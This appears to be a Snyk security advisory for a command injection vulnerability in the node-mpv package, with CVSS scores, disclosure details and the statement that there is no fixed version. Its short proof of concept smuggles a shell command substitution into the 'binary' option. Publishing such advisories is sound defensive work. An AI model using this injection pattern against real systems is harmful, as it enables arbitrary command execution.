Command Injection Affecting node-mpv package, versions >=0.12.2


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team

    Threat Intelligence

    Exploit Maturity
    Proof of concept
    EPSS
    6.34% (94th percentile)

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  • Snyk ID SNYK-JS-NODEMPV-564426
  • published 5 Apr 2020
  • disclosed 5 Apr 2020
  • credit JHU System Security Lab

How to fix?

There is no fixed version for node-mpv.

Overview

node-mpv is a wrapper to comfortably use mpv player with node.js.

Affected versions of this package are vulnerable to Command Injection. The argument "options" can be controlled by users without any sanitization.

PoC

var Root = require("node-mpv");
var options ={
"binary": '\" $(touch JHU) \"'
}
var root = new Root(options);

References

CVSS Scores

version 3.1
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Snyk

Recommended
6.5 medium
  • Attack Vector (AV)
    Network
  • Attack Complexity (AC)
    High
  • Privileges Required (PR)
    None
  • User Interaction (UI)
    None
  • Scope (S)
    Unchanged
  • Confidentiality (C)
    High
  • Integrity (I)
    Low
  • Availability (A)
    None
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NVD

9.8 critical